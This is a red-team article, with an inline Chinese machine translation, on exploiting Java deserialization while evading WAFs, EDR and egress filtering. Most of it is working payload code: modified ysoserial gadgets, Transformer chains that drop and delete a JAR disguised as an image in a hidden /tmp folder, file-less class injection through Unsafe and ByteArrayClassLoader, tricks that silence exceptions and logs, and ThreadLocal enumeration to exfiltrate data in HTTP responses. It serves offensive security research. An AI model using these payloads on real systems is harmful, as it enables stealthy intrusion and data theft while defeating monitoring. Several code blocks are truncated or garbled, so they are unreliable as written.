During a red team engagement, we faced Java applications exposed on the internet and affected by arbitrary deserialization from user-supplied data. After quickly identifying a well-known gadget chain, we noticed that a WAF was rejecting requests exploiting the vulnerability by detecting specific patterns of the serialized chain, and that an EDR caught our first exploit. Moreover, firewalls were strictly filtering outbound traffic, including DNS. This article will present a few tricks regarding the gadgets that were used to exploit the same vulnerability on other similar targets, which allowed us to exfiltrate data from the compromised applications without being noticed.
在一次红队参与期间,我们遇到了 Java 应用程序暴露在互联网上,并受到用户提供的数据的任意反序列化的影响。在快速识别出一个众所周知的小工具链后,我们注意到一个 WAF 通过检测序列化链的特定模式来拒绝利用该漏洞的请求,并且 EDR 捕获了我们的第一个漏洞。此外,防火墙严格过滤出站流量,包括DNS。本文将介绍一些有关用于在其他类似目标上利用相同漏洞的小工具的技巧,这些小工具使我们能够在不被注意的情况下从受感染的应用程序中窃取数据。

Introduction 介绍

Arbitrary deserialization of untrusted data and Java gadget chains are already covered by the following articles:
以下文章已经介绍了不受信任的数据和 Java 小工具链的任意反序列化:

This article will cover some tips and tricks that could be applied once a gadget chain leading to RCE (Remote Code Execution) has been identified on a vulnerable application, with the main objective being to make the exploit stealthier.
本文将介绍一些技巧和窍门,一旦在易受攻击的应用程序上识别出导致 RCE(远程代码执行)的小工具链,就可以应用这些技巧和窍门,主要目的是使漏洞利用更具隐蔽性。

Avoiding naive WAFs 避免幼稚的 WAF

First, as general advice, it is better to avoid being detected by static patterns. During engagements, we noticed WAFs (Web Application Firewalls) detecting specific words inside the serialized gadget chain, such as:
首先,作为一般建议,最好避免被静态模式检测到。在参与期间,我们注意到 WAF(Web 应用程序防火墙)检测序列化小工具链中的特定单词,例如:

  • Runtime

  • Process

  • exec

  • shell

  • ysoserial

The first step is to recompile Java projects generating the gadget chains once the modules, packages and class names have been renamed. Then, the gadget chains should be slightly modified to avoid directly calling built-in classes or methods which are detected as they are commonly used, such as:
第一步是重新编译 Java 项目,在重命名模块、包和类名后生成小工具链。然后,应稍微修改小工具链,以避免直接调用常用的内置类或方法,例如:


Additionally, strings used to create random class names using JavaAssist in ysoserial should not be forgotten as they could also be detected by security solutions:
此外,不应忘记用于在 ysoserial 中使用 JavaAssist 创建随机类名的字符串,因为它们也可以被安全解决方案检测到:

// src/main/java/ysoserial/payloads/util/
// [...]
   106    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
   107            throws Exception {
   108        final T templates = tplClass.newInstance();
// [...]
   122        clazz.setName("ysoserial.Pwner" + System.nanoTime()); //HERE
   123        CtClass superC = pool.get(abstTranslet.getName());
   124        clazz.setSuperclass(superC);
// [...]
   133        // required to make TemplatesImpl happy
   134        Reflections.setFieldValue(templates, "_name", "Pwnr"); // HERE
   135        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
   136        return templates;
   137    }
// [...]

Injecting custom classes at runtime

Nowadays, servers hosting application backends may often be monitored by an EDR (Endpoint Detection and Response), and child processes created from Java may raise alerts. As a result, basic payloads executing arbitrary commands will be detected. A simple method to avoid it would be to only inject Java code at runtime that performs the required operations, such as reading and writing to files, or exploiting services reachable from the underlying server.
如今,托管应用程序后端的服务器通常可能受到 EDR(端点检测和响应)的监控,并且从 Java 创建的子进程可能会引发警报。因此,将检测到执行任意命令的基本有效负载。避免这种情况的一种简单方法是仅在运行时注入执行所需操作的 Java 代码,例如读取和写入文件,或利用可从底层服务器访问的服务。


Usually, the ysoserial tool can be used to generate gadget chains, and almost all the known chains use the same last part: serializable classes which are inside the JDK internal modules and offer powerful primitives. Indeed, the java.xml internal module contains an XSLT compiler (Translet API and TrAX), in the package that somehow has the capability to inject Java classes at runtime from their bytecode. Moreover, this code is reachable from a simple getter which is the key component of several gadget chains, such as CommonsBeanutils1.
通常,ysoserial 工具可用于生成小工具链,几乎所有已知的链都使用相同的最后一部分:可序列化类,这些类位于 JDK 内部模块中并提供强大的原语。事实上, java.xml 内部模块在 包中包含一个 XSLT 编译器( Translet API 和 TrAX ),该编译器以某种方式能够在运行时从其字节码注入 Java 类。此外,此代码可以从一个简单的 getter 访问,该 getter 是几个小工具链的关键组件,例如 CommonsBeanutils1。

These gadget chains would generally achieve arbitrary code execution by loading a custom class at runtime, which contains a static initialization block where arbitrary Java code is executed during the class initialization. The easiest way to inject custom Java code at runtime from this API, instead of directly running plain shell commands, is to slightly modify the Gadgets class of ysoserial. For example, the following patch could be applied to directly supply Java code on the tool arguments:
这些小工具链通常通过在运行时加载自定义类来实现任意代码执行,该类包含一个静态初始化块,在类初始化期间执行任意 Java 代码。在运行时从此 API 注入自定义 Java 代码(而不是直接运行纯 shell 命令)的最简单方法是稍微修改 ysoserial 的 Gadgets 类。例如,可以应用以下补丁来直接在工具参数上提供 Java 代码:

diff --git a/src/main/java/ysoserial/payloads/util/ b/src/main/java/ysoserial/payloads/util/
index d4cd783..100a32a 100644
--- a/src/main/java/ysoserial/payloads/util/
+++ b/src/main/java/ysoserial/payloads/util/
@@ -103,7 +103,7 @@ public class Gadgets {
-    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+    public static <T> T createTemplatesImpl ( final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
             throws Exception {
         final T templates = tplClass.newInstance();
@@ -114,10 +114,7 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replace("\\", "\\\\").replace("\"", "\\\"") +
-            "\");";
-        clazz.makeClassInitializer().insertAfter(cmd);
+        clazz.makeClassInitializer().insertAfter(code);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());
         CtClass superC = pool.get(abstTranslet.getName());

However, this API could also be used to make the Template class define several classes, which could be more convenient as this would allow implementing interfaces required to interact with specific classes, for post-exploitation purposes or to persist at runtime. This should work as long as the dependencies used by such classes are already loaded at runtime, such as the Spring web framework for instance.
但是,此 API 也可用于使 Template 类定义多个类,这可能更方便,因为这将允许实现与特定类交互所需的接口,用于后期开发目的或在运行时持久化。只要这些类使用的依赖项已经在运行时加载,例如Spring Web框架,这应该可以工作。

Indeed, the TemplatesImpl class can be used to define several classes in a raw, from the _bytecodes field:
事实上,TemplatesImpl 类可用于定义原始字段中的多个类 _bytecodes :

// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/trax/
// [...]
   454    /**
   455     * Defines the translet class and auxiliary classes.
   456     * Returns a reference to the Class object that defines the main class
   457     */
   458    private void defineTransletClasses()
   459        throws TransformerConfigurationException {
// [...]
   467        TransletClassLoader loader =
   468                AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
   469                public TransletClassLoader run() {
   470                    return new TransletClassLoader(ObjectFactory.findClassLoader(),
   471                            _tfactory.getExternalExtensionsMap());
   472                }
   473            });
// [...]
   516            for (int i = 0; i < classCount; i++) {
   517                _class[i] = loader.defineClass(_bytecodes[i], pd);
   518                final Class<?> superClass = _class[i].getSuperclass();
   520                // Check if this is the main class
   521                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
   522                    _transletIndex = i;
   523                }
   524                else {
   525                    _auxClasses.put(_class[i].getName(), _class[i]);
   526                }
   527            }
// [...]
   542    }
// [...]

Importing a JAR file while generating the TemplatesImpl instance can be performed by adding the following snippet inside the Gadgets class of ysoserial:
在生成 TemplatesImpl 实例时导入 JAR 文件可以通过在 ysoserial 的 Gadgets 类中添加以下代码片段来执行:

// [...]
    private static <T> T createClassTemplatesImplFromJar(final String jarFilePath, Class<T> tplClass, 
                Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        final T templates = tplClass.newInstance();

        JarFile jarFile = new JarFile(new File(jarFilePath), false);
        String mainClass = jarFile.getManifest().getMainAttributes().getValue("Main-Class");
        if(mainClass == null)
            throw new IllegalArgumentException("No Main-Class manifest value found.");
        mainClass = mainClass.replace("\\", "\\\\")
            .replace("\"", "\\\"");

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
        // run main method of main-class in static initializer
        String initializer = "Class.forName(\""+mainClass+"\")" +
            ".getMethod(\"main\", new Class[]{String[].class})" +
            ".invoke(null, new Object[]{new String[0]});";
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());

        // create bytecodes from .class files
        List<byte[]> bytecodesList = new ArrayList<>();
        for (Enumeration<JarEntry> en = jarFile.entries(); en.hasMoreElements(); ) {
            JarEntry entry = en.nextElement();
            if(!entry.getName().endsWith(".class")) continue;

            InputStream is = jarFile.getInputStream(entry);
            bytecodesList.add(IOUtils.readFully(is, (int) entry.getSize()));
        final byte[][] bytecodes = new byte[bytecodesList.size() + 2][];
        int i = 0;
        for (byte[] code : bytecodesList) {
            bytecodes[i] = code;
        bytecodes[i++] = clazz.toBytecode();
        bytecodes[i] = ClassFiles.classAsBytes(Gadgets.Foo.class);

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", bytecodes);

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory
        return templates;

    public static Object createClassTemplatesImplFromJar(final String jarFilePath) throws Exception {
        return createClassTemplatesImplFromJar(jarFilePath, 
            TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
// [...]

The createClassTemplatesImplFromJar method can then be used to generate the TemplateImpl instance on existing gadgets when needed.
然后,该 createClassTemplatesImplFromJar 方法可用于在需要时在现有小工具上生成 TemplateImpl 实例。

However, injecting an entire JAR file twice would have no effect as the same classes will not be defined twice in the same ClassLoader and the first version of each class will be kept. Additionally, one should take care of OutOfMemory exceptions raised when the PermGen memory area is full, as mentioned by the ysoserial author frohoff, that could occur when defining a lot of new classes.
但是,注入整个 JAR 文件两次不会产生任何影响,因为相同的类不会在同一 ClassLoader 文件中定义两次,并且每个类的第一个版本将保留。此外,正如 ysoserial 作者 frohoff 所提到的,当 PermGen 内存区域已满时,应该注意出现的 OutOfMemory 异常,这在定义许多新类时可能会发生。


Other gadget chains exploit different powerful primitives offered by permissive libraries, such as CommonsCollections with Transformer chains. If the targeted application has a vulnerable CommonsCollections dependency, it could be exploited without relying on the internal Translets, which can be removed from specific Java runtimes, or cannot be used from unnamed modules since JDK 16, as explained in this great article from CODE WHITE.
其他小工具链利用宽松库提供的不同强大原语,例如带有 Transformer 链的 CommonsCollections。如果目标应用程序具有易受攻击 CommonsCollections 的依赖项,则可以在不依赖内部 Translets 的情况下利用它,内部可以从特定的 Java 运行时中删除,或者不能从 JDK 16 以来的未命名模块中使用,正如 CODE WHITE 的这篇精彩文章中所解释的那样。

Unfortunately during our engagement, the internal Translets were not reachable from the vulnerable applications so we used one of the techniques described below.
不幸的是,在我们的参与过程中,无法从易受攻击的应用程序访问内部 Translets ,因此我们使用了下面描述的技术之一。

Depending on the context, two methods can be used. The first one uses URLClassLoader and is not file-less, whereas the other one uses another internal class but is file-less. However, both methods could be limited if the application is running within a Java Security Manager.
根据上下文,可以使用两种方法。第一个使用 URLClassLoader 并且不是无文件的,而另一个使用另一个内部类,但不是无文件的。但是,如果应用程序在 Java 安全管理器中运行,则这两种方法都可能受到限制。

Existing CommonsCollections gadgets already use Transformer chains, mainly to inject a custom class using Translets, or to execute arbitrary commands:
现有的 CommonsCollections 小工具已经使用 Transformer 链,主要是使用 Translets 注入自定义类,或执行任意命令:

// src/main/java/ysoserial/payloads/
// [...]
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();
// [...]
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        return handler;
// [...]

These chains allow performing several powerful operations, by combining several Transformer functors:

  • Define constants made of serializable types or scalars, by using a ConstantsTransformer:
new ConstantTransformer(File.class);
  • Iterate over several Transformers with a ChainedTransformer, by providing, as the first parameter of the next Transformer, the result of the previous Transformer.
    用 遍历几个 Transformers ,方法是提供前 Transformer 一个 的结果作为下一个 Transformer 的第一个 ChainedTransformer 参数。
  • Call an arbitrary method of an existing class, by using an InvokerTransformer. This also works for static methods, but requires calling getMethod to lookup the static method to invoke:
    通过使用 InvokerTransformer .这也适用于静态方法,但需要调用 getMethod 以查找要调用的静态方法:
new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] })
  • Instantiate a class, by using an InstantiateTransformer:
    实例化类,使用: InstantiateTransformer
new Transformer[] {
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]{String.class},
        new Object[]{"/etc/passwd"}
  • Iterate over several Transformers, by keeping the same first parameter. To do so, a ClosureTransformer, should be parameterized with a ChainedClosure, itself parameterized with a TransformerClosure array. This construct allows multiple methods to be called on a single instance if it is included inside a main ChainedTransformer. Closures are useful, for example, to make a static field or method accessible (i.e. to make it public even if its visibility was initially protected or private), and then, to get or invoke it:
    通过保留相同的第一个参数来遍历多个 Transformers 。为此, ClosureTransformer 应使用 参数 ChainedClosure 化 ,本身应使用 TransformerClosure 数组参数化。此构造允许在单个实例上调用多个方法(如果它包含在 main ChainedTransformer .例如,闭包很有用,可以使静态字段或方法可访问(即 public 即使其可见性最初是 protected 或 private ),然后获取或调用它:
new Transformer[] {
    new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
    new InvokerTransformer("getDeclaredField",
        new Class[]{ String.class },
        new Object[]{"theUnsafe"}
    new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
        new Class[]{ boolean.class },
        new Object[]{ true }
    new InvokerTransformer("get",
        new Class[]{ Object.class },
        new Object[]{ null }

There are also functors that provide control-flow capabilities (e.g. IfClosureForClosureSwitchTransformerWhileClosure).
还有一些函子提供控制流功能(例如 IfClosure ,、 ForClosure 、 SwitchTransformer WhileClosure 、.

The only limitation of these chains is that it is not possible to provide non-serializable parameters to the methods or to the constructors.

Instantiating URLClassLoader from Transformers
从 Transformer 实例化 URLClassLoader

This kind of chains can be modified to actually write a new JAR file on disk, then load a class from it using an URLClassLoader, and to delete the file.
可以修改这种链,以在磁盘上实际写入一个新的 JAR 文件,然后使用 URLClassLoader 从中加载类,并删除该文件。

For example, the following chain will create a folder in /tmp/, store the JAR file inside it, and load a class from it:
例如,以下链将在 /tmp/ 中创建一个文件夹,将 JAR 文件存储在其中,并从中加载一个类:

String uniqueKey = System.nanoTime() + "";
String mainClassName = "TestClass" + uniqueKey;
byte[] jarBytes = FileUtils.readFileToByteArray(new File(jarFilePath));

final Transformer[] transformers = new Transformer[]{
    // create a temp folder
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]{String.class},
        new Object[]{"/tmp/.cache_" + uniqueKey + "/"}
    new InvokerTransformer("mkdirs",
        new Class[]{}, new Object[]{}),

    // write the JAR file in it
    new ConstantTransformer(FileOutputStream.class),
    new InstantiateTransformer(
        new Class[]{String.class},
        new Object[]{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
    new InvokerTransformer("write",
        new Class[]{byte[].class}, new Object[]{jarBytes}),

    // create the URLClassLoader, load the class, and instantiate it
    new ConstantTransformer(URLClassLoader.class),
    new InstantiateTransformer(new Class[]{
        URL[].class}, new Object[]{new URL[]{
        new URL("file:///tmp/.cache_" + uniqueKey + "/save.bmp")}}
    new InvokerTransformer("loadClass",
        new Class[]{String.class}, new Object[]{mainClassName}),
    new InstantiateTransformer(
        new Class[]{},
        new Object[]{}

    // delete the JAR file
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]{String.class},
        new Object[]{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
    new InvokerTransformer("delete",
        new Class[]{}, new Object[]{}),

    // delete the folder
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]{String.class},
        new Object[]{"/tmp/.cache_" + uniqueKey + "/"}
    new InvokerTransformer("delete",
        new Class[]{}, new Object[]{}),

Calling Unsafe from Transformers
从 Transformer 调用不安全

A chain can be created to define an anonymous class using sun.misc.Unsafe. This only allows defining a single class at a time, but can be useful as it is file-less. Moreover, this single class could be used to implement a custom ClassLoader that would define all the required classes later.
可以使用 sun.misc.Unsafe 创建链来定义匿名类。这一次只允许定义一个类,但它是无文件的,所以很有用。此外,这个单一类可用于实现一个自定义,该自定义 ClassLoader 将在以后定义所有必需的类。

The following chain sets the theUnsafe field accessible using a Closure, retrieves its value, calls the defineAnonymousClass method on it, and creates a new instance of the returned class:
以下链设置可访问的 theUnsafe 字段 Closure ,检索其值,调用其 defineAnonymousClass 方法,并创建返回类的新实例:

byte[] classBytes = FileUtils.readFileToByteArray(new File("CustomClass.class"));
new Transformer[]{
    new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
    new InvokerTransformer("getDeclaredField",
        new Class[]{ String.class },
        new Object[]{"theUnsafe"}
    new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
        new Class[]{ boolean.class },
        new Object[]{ true }
    new InvokerTransformer("get",
        new Class[]{ Object.class },
        new Object[]{ null }
    new InvokerTransformer("defineAnonymousClass",
        new Class[]{ Class.class, byte[].class, Object[].class },
        new Object[] { String.class, classBytes, new Object[0] }
    new InvokerTransformer("newInstance",
        new Class[0], new Object[0]

Instantiating ByteArrayClassLoader from Transformers
从 Transformer 实例化 ByteArrayClassLoader

The ByteArrayClassLoader class from the byte-buddy dependency is also helpful in defining arbitrary classes, because it offers a custom public ClassLoader which can be used without patching fields:
byte-buddy 依赖项中的 ByteArrayClassLoader 类在定义任意类时也很有帮助,因为它提供了一个自定义公共, ClassLoader 可以在不修补字段的情况下使用:

Map<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", Files.readAllBytes(Path.of("SampleClass.class")));

new ByteArrayClassLoader(null, definitions)

Or as follows, inside a Transformer chain:
或者如下所示,在 Transformer 链中:

HashMap<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", FileUtils.readFileToByteArray(new File("SampleClass.class")));

new Transformer[]{
    new ConstantTransformer(Class.forName("net.bytebuddy.dynamic.loading.ByteArrayClassLoader")),
    new InstantiateTransformer(
        new Class[]{ ClassLoader.class, Map.class },
        new Object[] { null, defs }
    new InvokerTransformer("loadClass",
        new Class[]{ String.class },
        new Object[]{ "SampleClass" }
    new InvokerTransformer("newInstance",
        new Class[0], new Object[0]

However, is this dependency frequently used? It seems it is included in some projects:

Making gadgets stealthier

Most gadgets will trigger exceptions if they are not properly built. To make payloads stealthier, it is necessary to deeply understand the code flow to make the process of gadget deserialization going smooth, and error logs empty.


When gadgets generated using ysoserial are deserialized, the following exception is thrown just after defining the new arbitrary class:

Caused by: java.lang.NullPointerException: null
at java.xml/ ~[na:na]
at java.xml/ ~[na:na]
at java.xml/ ~[na:na]
| 	... 120 common frames omitted

This exception is actually thrown from the postInitialization method of the AbstractTranslet class:

// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/runtime/
// [...]
 public final void postInitialization() {
        if (this.transletVersion < 101) {
            int arraySize = this.namesArray.length;// Exception thrown here
            String[] newURIsArray = new String[arraySize];
            String[] newNamesArray = new String[arraySize];
            int[] newTypesArray = new int[arraySize];
// [...]
            this.namesArray = newNamesArray;
            this.urisArray = newURIsArray;
            this.typesArray = newTypesArray;

        if (this.transletVersion > 101) {
            BasisLibrary.runTimeError("UNKNOWN_TRANSLET_VERSION_ERR", this.getClass().getName());

// [...]

In order to avoid this error, one of the following statements can be added to the custom Translet constructor:
为了避免此错误,可以将以下语句之一添加到自定义 Translet 构造函数中:

  • Initializing the namesArray field with an empty array:
    使用空数组初始化 namesArray 字段:
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");
  • Setting the transletVersion field to more than 100:
    将 transletVersion 字段设置为大于 100 :
clazz.getConstructors()[0].setBody("this.transletVersion = 101;");

It should also be noted that when internal modules are used, recent JVMs will complain the first time an internal module is accessed from an unnamed module:
还应该注意的是,当使用内部模块时,最新的 JVM 会在第一次从未命名的模块访问内部模块时抱怨:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.commons.collections4.functors.InvokerTransformer (jar:file:app.jar!/BOOT-INF/lib/commons-collections4-4.0.jar!/) to method
WARNING: Please consider reporting this to the maintainers of org.apache.commons.collections4.functors.InvokerTransformer
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

This message is written to stderr by default and could be avoided by closing stderr, but we did not find methods that could be used to hide it completely. Nonetheless, this it is often displayed legitimately when complex Java applications are starting.
默认情况下,此消息是写入的 stderr ,可以通过关闭 stderr 来避免,但我们没有找到可用于完全隐藏它的方法。尽管如此,当复杂的 Java 应用程序启动时,它通常会合法地显示。


In order not to throw exceptions because the last element returned from Transformer chains is not ComparableCommonsCollections gadgets could be modified to return a constant String:
为了不抛出异常,因为从 Transformer 链返回的最后一个元素不是 Comparable , CommonsCollections 可以修改小工具以返回一个常量 String :

public class CommonsCollections2 implements ObjectPayload<Serializable> {

    public Serializable getObject(final String javaClassPath) throws Exception {
// [...]
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer("") // HERE
            /* Always return a String at the end,
             * which is a base type and
             * is Comparable (removes all thrown exceptions)
// [...]


Once the getOutputProperties method of the TemplatesImpl internal class has been called by the BeansComparator created for the CommonsBeanutils1 gadget chain, an exception is thrown because the returned objects do not implement the Comparable interface.
一旦为 CommonsBeanutils1 小工具链创建了 TemplatesImpl 内部类的 getOutputProperties 方法,就会引发异常,因为返回的对象没有实现接口 Comparable 。 BeansComparator

In order to suppress such exceptions, an instance of the serializable and internal NullComparator class can be provided to the BeansComparator constructor:
为了抑制此类异常,可以向 BeansComparator 构造函数提供可序列化和内部 NullComparator 类的实例:

public class CommonsBeanutils1 implements ObjectPayload<Object> {

    public Object getObject(final String filePath) throws Exception {
        final Object templates = Gadgets.createClassTemplatesImplFromJar(filePath);

        //NullComparator implements Comparator<?> and Serializable
        Constructor<?> nullComparatorConstructor = Reflections
        Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor
            .newInstance(true, null);

        // mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit", nullComparator);
// [...]

As this comparator does not attempt to cast elements to Comparable, no exception will be thrown during the deserialization process.


Once the final gadget is constructed (e.g. inside, it is possible to hide the gadget chain inside an instance of any class.

For example, if the underlying application expects a specific Serializable type, it is possible to redeclare it and add an internal Object field which will contain the gadget, because there are no constraint on it (see FieldValues implementation).

For example, if an application has the following vulnerable code:

CustomResult res = (CustomResult)ois.readObject();

With the following CustomResult class:


class CustomResult {
    public final int result;
    public CustomResult(int res) {this.result = res;}

It is possible to redeclare the same class manually on the Java project that generates the gadget chain (e.g. inside ysoserial) to add an arbitrary object that will include the gadget to trigger the chain (the constructor is only used on the project generating the serialized chain), as long as the same serialVersionUID is defined:
可以在生成小工具链的 Java 项目上手动重新声明相同的类(例如在 ysoserial 内部),以添加一个任意对象,该对象将包含用于触发链的小工具(构造函数仅用于生成序列化链的项目),只要定义相同 serialVersionUID :


class CustomResult implements Serializable {
    private final long serialVersionUID = XL; //needs to be adapted from the existing generated UID
    private Object ignoredObject;

    public final int result;
    public CustomResult(Object gadget) {
        this.result = 1337;
        this.ignoredObject = gadget;

Then, the return statement of an existing gadget chain just has to be modified:
然后,只需修改现有小工具链 return 的语句:

public Object getObject(final String arg) throws Exception {
    // [...]
    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(chain));
    // stub data for replacement later
    // [...]
    return new; // HERE

Once generated and sent to the application, the serialized gadget chain should trigger and no exception should be raised by the application, as an instance of the expected type is received.

Exfiltrating data 泄露数据

As outgoing connections and DNS requests may be filtered, it is better to find methods that would allow exfiltrating data from the compromised applications.
由于传出连接和 DNS 请求可能会被过滤,因此最好找到允许从受感染应用程序中泄露数据的方法。

These methods generally reuse the web application’s environment to return data in the response related to the current HTTP request. Web environments vary depending on the targeted application, but common ones include:
这些方法通常重用 Web 应用程序的环境,以在与当前 HTTP 请求相关的响应中返回数据。Web 环境因目标应用程序而异,但常见的环境包括:

  • Javax Faces Javax 面孔
  • Spring 春天

In order to find such methods, the following generic approach can be adopted:

  • Read the web framework’s documentation, as well as the one of the embedded web server.
    阅读 Web 框架的文档,以及嵌入式 Web 服务器的文档。
  • Read their source code or analyze their JAR files in order to find how the current HTTP request and its response are handled and stored.
    读取他们的源代码或分析他们的 JAR 文件,以了解如何处理和存储当前的 HTTP 请求及其响应。
  • Analyze references stored on the current thread. In Java, the current thread usually holds the current state of web applications on a ThreadLocal map. Variables stored inside it are named ThreadLocals.
    分析存储在当前线程上的引用。在 Java 中,当前线程通常保存 ThreadLocal 映射上 Web 应用程序的当前状态。存储在其中的变量命名为 ThreadLocals 。


In order to analyze ThreadLocals stored on the current thread, specific fields should be set accessible (i.e public) using the Reflection API. Then, the ThreadLocalMap entries could be enumerated:
为了分析 ThreadLocals 存储在当前线程上的内容,应使用 Reflection API 将特定字段设置为可访问(即 public )。然后,可以枚举这些 ThreadLocalMap 条目:

Thread t = Thread.currentThread();
java.lang.reflect.Field fThreadLocals = Thread.class

java.lang.reflect.Field fTable = Class

if(fThreadLocals.get(t) == null) return;

Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class

int length = java.lang.reflect.Array.getLength(table);
for (int i=0; i < length; ++i) {
    Object entry = java.lang.reflect.Array.get(table, i);
    if(entry == null) continue;
    Object value = fValue.get(entry);
    if(value == null) continue;
    if (value instanceof java.lang.ref.WeakReference) {
        value = ((java.lang.ref.WeakReference) value).get();
    if(value == null) continue;
    if (value instanceof java.lang.ref.SoftReference) {
        value = ((java.lang.ref.SoftReference) value).get();
    if(value == null) continue;
    System.out.println(value.getClass() + " => " + value.toString());

If the previous snippet is executed on a Javax Faces application, the following ThreadLocals are printed:
如果在 Javax Faces 应用程序上执行上一个代码段,那么将打印以下内容 ThreadLocals :

class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class java.util.concurrent.ThreadLocalRandom => java.util.concurrent.ThreadLocalRandom@3b04c8e9
class com.sun.faces.application.ApplicationAssociate => com.sun.faces.application.ApplicationAssociate@37225744
class java.lang.StringCoding$StringDecoder => java.lang.StringCoding$StringDecoder@41d82a29
class sun.nio.cs.UTF_8$Encoder => sun.nio.cs.UTF_8$Encoder@693220b9
class java.lang.StringCoding$StringEncoder => java.lang.StringCoding$StringEncoder@5a0287a3
class =>

The first two entries are related to the internal state of the request currently processed (FacesContextImpl), which is a good entry point to interact with the internal web API. Although these entries can be used to obtain references to the current state in a generic way, static methods could exist to obtain the same state, depending on the web framework.
前两个条目与当前处理的请求的内部状态 ( FacesContextImpl) 相关,这是与内部 Web API 交互的良好入口点。尽管这些条目可用于以通用方式获取对当前状态的引用,但静态方法可用于获取相同的状态,具体取决于 Web 框架。


In this web framework, a static method allows retrieving the current state of the application from ThreadLocals:
在此 Web 框架中,静态方法允许从 ThreadLocals 以下位置检索应用程序的当前状态:

// src/main/java/javax/faces/context/
// [...]
     * <p class="changed_modified_2_0">Return the {@link FacesContext}
     * instance for the request that is being processed by the current
     * thread.  If called during application initialization or shutdown,
// [...]
    public static FacesContext getCurrentInstance() {
        FacesContext facesContext = instance.get();

        if (null == facesContext) {
            facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
        // Bug 20458755: If not found in the threadInitContext, use
        // a special FacesContextFactory implementation that knows how to
        // use the initContextServletContext map to obtain current ServletContext
        // out of thin air (actually, using the current ClassLoader), and use it 
        // to obtain the init FacesContext corresponding to that ServletContext.  
        if (null == facesContext) {
// [...]
            FacesContextFactory privateFacesContextFactory = (FacesContextFactory) FactoryFinder.getFactory("com.sun.faces.ServletContextFacesContextFactory");
            if (null != privateFacesContextFactory) {
                facesContext = privateFacesContextFactory.getFacesContext(null, null, null, null);
        return facesContext;
// [...]

From this instance, the HTTP request and its response can be obtained from the ExternalContext using getRequest and getResponse methods:
在此实例中,可以使用 getRequest 和 getResponse 方法从 ExternalContext 获取 HTTP 请求及其响应:

HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance()

HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()

The request and response types could vary if Portlet is used instead of Servlet for Faces.

However, if these methods are called from a class loaded within the main ClassLoader, or a ClassLoader different from the current thread context’s class loader, an exception will be thrown. The easiest way to interact with Faces is to actually load a new class using the current thread context’s ClassLoader:
